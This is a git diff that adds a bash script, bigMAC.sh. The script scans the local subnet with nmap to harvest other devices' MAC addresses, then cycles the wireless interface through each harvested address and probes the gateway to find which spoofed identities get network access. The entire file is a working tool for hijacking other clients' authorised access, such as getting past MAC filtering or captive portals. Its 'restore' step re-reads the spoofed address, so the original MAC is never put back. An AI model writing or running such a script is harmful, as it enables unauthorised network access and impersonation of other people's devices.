done

1 files changed, 58 insertions, 0 deletions

diff --git a/bigMAC.sh b/bigMAC.sh
new file mode 100755
index 0000000..f29f39f
--- /dev/null
+++ b/bigMAC.sh
@@ -0,0 +1,58 @@
+#!/usr/bin/bash
+
+# check for deps
+deps=("nmap" "grep" "awk")
+for dep in "${deps[@]}"; do
+    if ! which "$dep" &> /dev/null; then
+        echo "ERROR: The dependency '$dep' is not installed"
+        exit
+    fi
+done
+
+
+macs_file="macs.txt"
+succ_file="tasty-macs.txt"
+interface="wlp2s0"
+
+timeperiod=$((1)) # timeperiod=$((60 * 60 * 3))
+date_format="echo \033[0;33m$(date '+%b %d %T')\033[0m"
+
+function get_macs {
+    while true; do n=0
+       while read -r addr; do
+           if ! grep -qF -- "$addr" "$macs_file" &> /dev/null; then
+               echo "$addr" >> "$macs_file"
+               n=$((n+1))
+           fi
+       done <<< $(nmap -sn 192.168.0.* | awk '/^MAC Address:/{print $3}')
+
+       ((n > 0)) && echo -e "$($date_format) Wrote $n new addresses to $macs_file" || true
+    done
+}
+
+function set_ip_address {
+    ip link set dev "$interface" down
+    ip link set dev "$interface" address "$1"
+    ip link set dev "$interface" up
+    sleep 2
+}
+
+function taste-macs {
+    while read -r addr; do
+        set_ip_address "$addr"
+        response=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 5 192.168.0.1)
+        if [[ "$response" == "200" ]]; then
+            if ! grep -qF -- "$addr" "$succ_file" &> /dev/null; then
+                echo "$addr" >> "$succ_file"
+                echo -e "$($date_format) Wrote '$addr' to $succ_file"
+            fi
+        fi
+    done < "$macs_file"
+
+    set_ip_address "$(ip link show "$interface" | awk '/link\/ether/{print $6}')"
+}
+
+while true; do
+    get_macs & sleep "$timeperiod"; kill $!
+    taste-macs
+done